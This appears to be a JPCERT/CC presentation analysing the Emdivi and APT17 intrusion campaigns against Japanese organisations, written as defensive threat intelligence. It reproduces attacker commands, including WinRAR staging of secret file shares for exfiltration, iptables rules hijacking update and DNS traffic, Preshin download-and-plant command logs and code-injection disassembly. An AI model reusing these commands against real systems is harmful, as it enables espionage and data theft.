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Revealing the Attack Operations Targeting Japan

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Prevention

Vulnerability
 information handling

Monitoring

- Information gathering & analysis & sharing
- NW Traffic Monitoring

Response

Incident handling

Early warning information CSIRT establishment support Industrial control system security International collaboration

Artifact (e.g. Malware) analysis



Targeted Attacks handled by JPCERT/CC

From April to September 2015





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Introducing 2 Types of Attack Operations

Operation A

- Targeting many Japanese organizations since around 2012.
- Emdivi
- CloudyOmega (Symantec)
- BLUE TERMITE (Kaspersky)

Operation B

- Targeting some Japanese organizations since around 2013.
- APT17 (FireEye)







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Characteristics of Operation A



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Details of Internal Intrusion Techniques

Initial Compromise Collecting Information Lateral Movement



Details of Internal Intrusion Techniques





Attack Patterns



• In many attacks, malware are disguised with fake icons, compressed with zip or lzh and attached to emails.

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• Attacks aiming certain targets may lead to correspondence of emails.

Details of Internal Intrusion Techniques





Investigation of Compromised Environment

Uses Legitimate tools provided by MS

Commands / Programs in OS standard accessories

- dir
- net
 - net view
 - net localgroup administrators
- ver
- ipconfig
- systeminfo
- wmic

Active Directory admin tools sent after the compromise

- csvde
- dsquery

Used in some cases targeting specific individuals

c:¥>dsquery * -filter "(DisplayName=Yu*Nakamura)" -attr name displayName description

displayName name

description yuunaka Yu Nakamura Chief Executive Officer



Collecting Email Account Information

- Uses free tools (Similar to NirSoft Mail PassView)
- Attempts to receive emails from outside
- May lead to new attack emails (correspondence of emails)
 Infection spreading from organization to organization

1.tmp - メモ帳		x
ファイル(F) 編集(E) 書	書式(O) 表示(V) ヘルプ(H)	
F=====================================	: nakamura : MS Outlook 2002/2003/2007/2010 : nakamura@example.com : pop.example.com : No : POP3 : nakamura : password : Outlook : Strong : smtp.example.com	
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Collecting Classified / Personal Information

Search Network Drive

Search Targeted Data

Create a Copy of Compressed Files

Download

Delete Evidence



net use command

> net use
New connections will be remembered.

Status	Local	Remote	Network
OK	T:	¥¥FILESV01¥SECRET	Microsoft Windows Network
OK	U:	¥¥FILESV02¥SECRET	Microsoft Windows Network

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wmic command

> wmic logicaldisk get caption,providername,drivetype,volumename
 Caption DriveType ProviderName VolumeName
 C: 3 OS
 D: 3 Volume
 T: 4 ¥¥FILESV01¥SECRET Volume
 U: 4 ¥¥FILESV01¥SECRET Volume



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Search Network Drive (2)

Combination of netstat Command & nbtstat Command

> netstat –an
TCP 192.168.xx.xx:49217 192.168.yy.yy:445 ESTABLISHED
> nbtstat -a 192.168.yy.yy
Name Type Status
FILESV01 <00> UNIQUE Registered
Port 445 is set as the key to search the access point of file sharing service



Search Targeted Data

dir command

- > dir ¥¥FILESV01¥SECRET
- ¥¥FILESV¥SECRET Directory

2014/07/11 09:16 [DIR] Management of Partner Companies 2014/09/04 11:49 [DIR] Management of Intellectual Property 2014/08/01 09:27 [DIR] Location information

Not only searches network drive but also compromised computers

> dir c:¥users¥hoge¥*.doc* /s /o-d

c:¥users¥hoge¥AppData¥Local¥Temp Directory

2014/07/29 10:19 28,672 20140820.doc 1 File 28,672 bytes

c:¥users¥hoge¥Important Information Directory

2015/08/29 10:03 1,214 Design Document.doc

/s : Displayed recursively/o-d : Sorted by date



Compress, Download, Delete Evidence

Compressed with RAR

> winrar.exe a -r -ed -v300m -ta20140101 %TEMP%¥a.rar "¥¥FILESV01¥SECRET¥Management of Intellectual Property" -n*.ppt* -n*.doc* n*.xls* -n*.jtd

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Committee List(2015.05.01).docx OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Framework.ppt OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Application List.xlsx OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Design Document.jtd OK

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RAR files are sent to C&C servers and deleted

Details of Internal Intrusion Techniques





Methods Used to Spread Infection Patterns of spreading infection Exploiting vulnerabilities (MS14-068 + MS14-058) Investigating SYSVOL scripts Password list-based attack Exploiting Built-in Administrator password Setting malware in file servers Exploiting WPAD

Others

Exploiting Vulnerabilities (MS14-068 + MS14-058)



Investigating SYSVOL Scripts



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Password List-based Attack



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Setting Malware in File Servers



Exploiting WPAD

WPAD (Web Proxy Auto-Discovery)

- Turned on by default
- Get automatic configuration script from either
 - URL specified by DHCP server, or
 - http://wpad/wpad.dat

Local Area Network (LAN) Settings		
Automatic configuration		
Automatic configuration may override manual settings. To ensure the use of manual settings, disable automatic configuration.		
wtomatically detect settings		
Use automatic configuration script		
Address		
Proxy server		
Use a proxy server for your LAN (These settings will not apply to dial-up or VPN connections).		
Address: Port: Advanced		
Bypass proxy server for local addresses		
OK Cancel		

Exploiting WPAD (Step 1: NetBIOS Spoofing)

Key Point

- Effective in an environment where WPAD is not configured
- NetBIOS Spoofing





Exploiting WPAD (Step 2: Fake WPAD Server)



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Exploiting WPAD (Step 3: Man in the Middle Proxy)





Summary: Methods of Spreading Infection

Method	AD	Privilege Escalation	Note
MS14-068	Necessary	Unnecessary / Necessary for password dump	Risk exists when DC is unpatched
SYSVOL Search	Necessary	Unnecessary	
Brute Force Attack (Password List Attack)	Necessary	Unnecessary	Risk exists when the password is weak
Abusing Built-in Administrator	Unnecessary	Necessary	Presumes that the password is the same
Exploiting File Servers	Unnecessary	Unnecessary	Risk exists when the file is disguised to one that many users open
Exploiting WPAD	Unnecessary	Unnecessary	Situations are limited

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DETAILS OF TOOLS AND MALWARE



Characteristics of Malware

Different types of malware reside depending on the phase and scale of damage of the attack

Malware	Overview	File format	Form of attack	
Emdivi (t17)	HTTP BOT	EXE	Intrudo	
Tools	Password dump, etc.	EXE, etc.	Intrude	
usp10jpg	Download (low- frequency communication)	DLL, data		
Emdivi (t19, t20)	HTTP BOT (highly sophisticated than t17)	EXE	Lateral Movement	
BeginX	Remote shell tool	EXE		
GStatus	HTTP BOT (low- frequency communication)	EXE,DLL	Conceal?	

Reference : [Ayaka Funakoshi. A study on malware characteristics and its effects observed in targeted attacks. MWS, 2015]

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Tools

Туре	Overview	Filename
Password dump Pass-the-hash	Quarks PwDump	qp.exe, qd.exe, QDump.exe, etc.
	MimikatzLite	gp.exe
	Windows credentials Editor	wce.exe, ww.exe
	Mimikatz	mz.exe, mimikatz.exe, mimikatz.rar (sekurlsa.dll)
Vulnerability exploitation	MS14-068 (CVE-2014-6324)	ms14-068.exe ms14-068.tar.gz
	MS14-058 (Privilege escalation) (CVE-2014-4113)	4113.exe
UAC bypass	UAC bypass tool	msdart.exe, puac.exe, etc.
Packet transmit	Htran, proxy adaptive Htran	htproxy.exe, etc.
Mail account the	t Similar to NirSoft Mail PassView	CallMail.exe, outl.exe , etc.
	Attempt logon based on list	logon.exe
Utility	WinRAR archiver	yrar.exe, rar,exe, etc.
	Highly sophisticated dir command	dirasd.exe, etc.
	Change timestamp	timestomp.exe
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Emdivi (t17)

HTTP BOT with basic functions

Repeatedly upgraded the version in the past year and implemented new commands

Command	Date of Implementation
DOABORT	
DOWNBG	
GETFILE	
LOADDLL	
SETCMD	
SUSPEND	
UPLOAD	
VERSION	
GOTO	May 2015
CLEARLOGS	August 2015

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Emdivi (t20)

Highly Sophisticated Emdivi

- The number of implemented commands have increased and decreased in the past year.
 - 18-41 (based on JPCERT/CC's study)
- In some cases, the targeted organization's proxy server address is hard-coded.
- May only run on specific computers (encryption of data by computer SID)



usp10jpg

Download (low-frequency communication)

- Communication performed once a day
- Able to specify the day of week of communication
- Tend to be set to computers that are not infected with Emdivi (secondary infection)
- DLL Preloading Attack



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Difficulty to detect Usp10jpg



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BeginX

Remote Shell Tool

BeginX Server

- Listens to specific ports and waits for commands

- Both UDP and TCP versions available
- BeginX Client
 - Client which sends commands to BeginX Server
 - Controlled via Emdivi

push	offset tolen	7	fromlen
push	offset to	;	from
push	0	÷	flags
push	1000h	÷	len
lea	eax, [ebp+buf]		
push	eax	;	buf
push	ecx	;	29 5
call	ds:recvfrom		
test	eax, eax		
js	short loc_40132	20	
lea	ecx, [ebp+buf]		
mov	eax, offset <mark>aBe</mark>	egi	nx ; "beginx"
lea	ebx, [ebx+0]		

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Image of Using BeginX



GStatus

HTTP BOT different from Emdivi

Not found in many organizations, but...

Bot Function

- Get drive information
- Execute arbitrary shell command
- Process list
- Screen related functions

```
eax, [esp+3C4h+var 28C]
mov
       offset FileName ; lpFileName
push
push
                       ; /web/GStatus.asp?id=.....
      eax
push
      2
                        : int
    50h
push
                       : int
push offset szServerName ; int
       mal http request and write file
call
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GStatus Web Panel (Admin Screen)

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ANALYSIS TOOLS emdivi_string_decryptor.py





- IDAPython
- Used to analyze Emdivi
- Decode encoded strings





Emdivi encoded strings

00447A80	00000059	С	WCoqYvHBTBrwZxvFNAUED9gfV06v3YSKanD9v5RDVqvdLd6a1GFV0KR4Ivc+5sHhWhbVuTQPvj/4ksUJ/poHSA==
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Difference depending on version string

	Ver 17	Ver 19 or 20	Ver 20
Encrypt	XxTEA encrypt	XxTEA decrypt	AES decrypt
Decrypt	XxTEA decrypt	XxTEA encrypt	AES encrypt
Key	MD5(MD5(base64(ver)) + MD5(key_string))	Scanf("%x", Inc_Add(ver17_key))	Inc_Add(ver17_key)

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rdata:0042E030	59	71	33	4 F	75	55	4R	39+	aVaBouuk9tzvdp0	db 'Ya30ulK9t7vDP0bwWceTEw==' 0
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rdata:0042E040	88	99	99							align 4
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rdata:0042E05C	43	75	66	39	34	51	30	30+		; text:0042795CTo
rdata:0042E05C	66	12	~~		24	-				"CWS01_03"
rdata:0042E03C	66	99	99							align 4
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.rdata:0042E090	66	66	66							align 4
.rdata:0042E094	47	37	41	63	6B	39	57	73+	aG7ack9ws01r446	db 'G7Ack9Ws01R446eWH1fKFA=='.0
.rdata:0042E094	30	31	52	34	34	36	65	57+	40/40/001/110	: DATA XREE: .text:004273E110
.rdata:0042E094	48	60	66	4R	46	41	3D	3D+		: _text:0042793510_
.rdata:0042E094	00									"xp-sp3-template"
.rdata:0042F0AD	00	00	00							align 10h
.rdata:0042E0B0	52	74	39	57	74	4F	53	62+	aRt9wzosbok7atg	db 'Rt9WzOSboK+zatgWPYHDfg=='.0
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.rdata:0042F0B0	50	59	48	44	66	67	3D	3D+		:text:0042792510
.rdata:0042F0B0	00									"wilbert-SC1508"
.rdata:0042E0C9	00	00	00							align 4
rdata:0042E0CC	52	66	6F	57	68	48	4A	55+	aRfowhhiug6okri	db 'RfoWhHJUG6OKrJWair1SEO=='.0
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.rdata:0042E0CC	6A	72	6C	53	45	51	3D	3D+		: "SetErrorMode"
.rdata:0042E0E5	00	00	00							align 4
.rdata:0042E0E8	6C	79	79	56	73	47	69	6E+	aLvvvsginhv9bhp	db 'lvvVsGinHv9bHp42uDFhnw=='.0
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.rdata:0042E0E8	75	44	46	68	6E	77	3D	3D+		; sub 406F22+64Ato
.rdata:0042E0E8	00			_						; sub 407A43+551 1 0
.rdata:0042E0E8										sub 4041D6+28ETo
.rdata:0042E0E8										; "Kernel32.dl1"
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Drive-by Download (Watering Hole) Attack



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Access Control





0-day Exploits

CVE-2013-3893 (MS13-080)

- Detected around September 2013
- Vulnerability in Internet Explorer

CVE-2013-3918 (MS13-090)

- Detected around October 2013
- Vulnerability in Internet Explorer

CVE-2014-0324 (MS14-012)

- Detected around February 2014
- Vulnerability in Internet Explorer

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Update Hijacking

Method used to alter updated information



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Another Update Hijacking Pattern

Method used without changing update server's file





Another Update Hijacking Pattern

Method used without changing update server's file

TCP 80 is forwarded by iptables.

iptables -t nat -A PREROUTING -i eth0 -s aa.bb.cc.dd -p tcp --dport 80 -j DNAT --to-destination ww.xx.yy.zz:53

Key Point

- Update server's file is unchanged
- Does not save iptables
- Targeted organization sees as if it is communicating with legitimate update server







Domain Name Hijacking

0. Change registration information



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DETAILS OF MALWARE



Domain Name Hijacking

Routing of only specific DNS queries by using iptables

iptables -t nat -A PREROUTING -p udp --dport **53** -m string --from 30 --to 34 --hex-string "|03|AAA" --algo bm -j DNAT -to-destination **aa.bb.cc.dd:54**

iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to ww.xx.yy.zz:53

Key Point

AAA.example.com

- Routing of only specific sub domains
- Other DNS queries are routed to the legitimate DNS server



Characteristics of Malware

1 Uses a <u>different malware</u> before and after the intrusion

2 Some malware <u>run in memory only</u>

③ Embedding <u>target organization's internal</u> <u>information</u>

④ Uses code signing certificate in some cases

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Characteristics of Malware





Malware (Intrusion)



HTTP bot with basic functions

Command List

command	info	command	info
0x184004	Execute remote shell	0x184024	Move file
0x184008	Run remote shell command	0x184028	Process list
0x18400c	Create file	0x18402c	Terminate process
0x184010	Load file	0x184030	Sleep
0x184014	Get drive information	0x184034	Install command
0x184018	Create directory	0x184038	Set Sleep Time
0x18401c	Search file	0x18403c	Terminate
0x184020	Delete file		

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IP Address Acquisition Algorithm

Get C2 IP address from Web page



<!-- saved from url=(0035)10ve yOu 4 eveR

Reve 4 uOy evOl -->

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start: IOve yOu 4 eveR end: Reve 4 uOy evOl

Decode





Malware (Intrusion)



Plug-in-based malware

Command list

command number	info
0	Send data to server
1	Set TickCount
3	Plug-in registration
4	Allocate Plug-in settings area
5	Set Plug-in settings area
6	Create/Execute plug-in
7	Terminate plug-in
8	Create configuration file
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Malware Running in Memory Only

CVE-2013-3918 with McRAT

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Malware Running in Memory Only

CVE-2013-3918 with McRAT

or	eax, eax
jz	short loc_2AF
mov	[esp+500h+hProcess], eax
push	PAGE_EXECUTE_READWRITE ; flProtect
push	3000h ; flAllocationType
push	6314h ; dwSize
push	0 ; 1pAddress
push	eax ; hProcess
call	[ebp+str.VirtualAllocEx]
or	eax, eax
jz	short loc_2AF
mov	ebx, esp
add	ebx, 44h ; 'D'
add	ebx, 10h
mov	[esp+500h+lpStartAddress], eax
push	<pre>0 ; *lpNumberOfBytesWritten</pre>
push	6314h ; nSize
lea	eax, [ebp+str. <mark>MALWARE_DATA</mark>]
push	eax ; 1pBuffer
mov	<pre>eax, [esp+50Ch+1pStartAddress]</pre>
push	eax ; 1pBaseAddress
mov	eax, [esp+510h+hProcess]
push	eax ; hProcess
call	[ebp+str.WriteProcessMemory]
or	eax, eax
jz	short loc_2AF
push	0 ; lpThreadId
push	<pre>0 ; dwCreationFlags</pre>
push	0 ; 1pParameter
mov	<pre>eax, [esp+50Ch+1pStartAddress]</pre>
push	eax ; 1pStartAddress
push	0 ; dwStackSize
push	<pre>0 ; lpThreadAttributes</pre>
mov	eax, [esp+518h+hProcess]
push	eax ; hProcess
call	[ebp+str.CreateRemoteThread]

Executes rundll32.exe and injects code

McRAT's data below Shellcode is injected

Not saved as a file


Malware (Intrusion)



Simple HTTP bot with limited functions

Command list

command	info
downonly	Download file
downexec	Download and Execute file
-	Run remote shell command



Preshin Controller

PHP-based Controller

php</th
Header("Content-Type: text/html\n\n");
Header("Cache-Control: proxy-revalidate,no-cache,must-revalidate") ;
error_reporting(0);
<pre>\$nContentLength = 0;</pre>
<pre>\$sQuery_String = getenv("QUERY_STRING");</pre>
<pre>\$sQuery_Method = getenv("REQUEST_METHOD");</pre>
<pre>\$sContent_Length = getenv("CONTENT_LENGTH");</pre>
if(\$sQuery_Method == "GET")
<pre>\$sQuery_String = getenv("QUERY_STRING");</pre>
else if(\$sQuery_Method == "POST")
<pre>\$sQuery_String = file_get_contents("php://input");</pre>
<pre>\$nContentLength = strlen(\$sQuery_String);</pre>
if(\$nContentLength >= 8 + 8)
<pre>\$headFlag = substr(\$sQuery_String,8,4);</pre>
if(\$headFlag == "ah8d")
<pre>\$cmd = substr(\$sQuery_String,4+8,4);</pre>
if(\$cmd == "1059")
{
handle_reportactiveinfo_event(\$sQuery_String,\$nContentLength);
}
else if(\$cmd == "1vbi")
{
handle_queryhost_event(\$sQuery_String,\$nContentLength);
}
else if(\$cmd == "u0vg")



Preshin Controller

Example of command execution

dir d:\files\ dir "d:\tools\program files\" dir "d:\files\program files\" dir "c:\program files\" dir "c:\program files\Google\Chrome\Application" echo 123 >c:\PROGRA~1\Google\Chrome\Application\1.txt dir c:\PROGRA~1\Google\Chrome\Application\ /1.cab -savefile d:\temp\1.cab downonly http:// dir d:\temp*.cab wusa d:\temp\1.cab /quiet /extract:C:\c:\PROGRA~1\Google\Chrome\Application\ wusa d:\temp\1.cab /quiet /extract:c:\PROGRA~1\Google\Chrome\Application\ dir c:\PROGRA~1\Google\Chrome\Application\ at 4:08 c:\PROGRA~1\Google\Chrome\Application\chrome.exe tasklist /svc c:\PROGRA~1\Google\Chrome\Application\chrome.exe tasklist



Malware (Intrusion)



HTTP bot with basic functions

Command list

command	info	command	info
1	Get disk information	8	-
2	File list	9	Delete file
3	Open file	10	Delete file/folder
4	Upload file	11	Upload file
5	Create file	12	Create folder
7	Load file	13	Move file



Malware (Concealing)



Malware with Rootkit functions

Command list

command	info
file	File related operation
information	Send configuration information
proxy	Enable Proxy settings
connect	Connect to Hikit proxy
shell	Run remote shell command
socks5	Enable Proxy settings (socks5)
exit	Terminate



Hikit Configuration Information

Hikit has proxy information of the internal network





Malware (Concealing)



Malware recently often used

Command list

command	info
cmd4	Service/Process related operation
cmd5	Run remote shell command
cmd6	Connect to Derusbi proxy
cmd7	File operation
cmd8	Terminate
cmd9	Create/Delete file

Derusbi Configuration Information

Derusbi has proxy information of the internal network





Code Signing Certificate

Identity	Туре	Country
System Integrator	exe	Japan
Software Vendor	exe	Japan
Software Vendor	exe	Korea
Automaker	exe	Korea
Heavy Industry	jar	Korea
Software Vendor	exe	Korea
Electronics Industry	jar	Korea
Software Vendor	exe	Korea



Infrastructure Used by Attackers



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Linux Backdoor

mod_rootme

- apache module
- Runs a remote shell by sending a keyword

mod_rootme source





Linux Backdoor

rs_linux Highly sophisticated Linux bot

Function				
MyNetstat	CreateShell	Mymkdir		
PortTunnelGet	GetFileSource	Mymkfile		
PortTunnel_RemoteClose	MyPs	Myrmfile		
PortTunnel_Show	KillByPid	Myrmdir		
CreatePortTunnel	NewConnectTo	ListDir		
PortForward	StartPutFile	my_reboot		
PortForward_Show	PutFileDest	ShowHide		
PortForward_Close	ShellServer	SwitchHide		

ANALYSIS TOOLS apt17scan.py



apt17scan.py

- Volatility Plugin
- Detect malware in memory dump
- Extract malware configuration information

Function

- apt17scan
- derusbiconfig
- hikitconfig
- agtidconfig







apt17scan Detecting Malware

Agtid	Hikit	McRAT	
Preshin	BlackCoffee	Derusbi	

mal@works:/opt/vol2.4\$ python vol.py --plugins=contrib/plugins/malware apt17scan -f mem.image --profile=Win7SP1x86 Volatility Foundation Volatility Framework 2.4 PID Data VA Malware Name Name regsvr32.exe 3024 0x10000000 Derusbi regsvr32.exe 3632 0x10000000 Derusbi regsvr32.exe 2720 0x001f0000 Hikit regsvr32.exe 2952 0x003e0000 Blackcoffee rundll32.exe 3108 0x10000000 Agtid

3196 0x00020000 Agtid

2360 0x004e0000 Preshin

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Appdata.exe rundll32.exe

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derusbiconfig Dump configuration information for Derusbi





hikitconfig Dump configuration information for Hikit





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agtidconfig Dump configuration information for Agtid

mal@works:/opt/ agtidconfig -f Volatility Foun	vol2.4\$ python vol.pyplugins=contrib/plugins/malware mem.imageprofile=Win7SP1x86 dation Volatility Framework 2.4		
Agtid Config (Address: 0x10008410):			
Process: rundll32.exe (3108)			
[Agtid Config I	nto]		
Server	. 102		
Port	: 443		
Version	: 0820		
ID	: 001		
Running count	: 1000000		
Sleep time	: 3		







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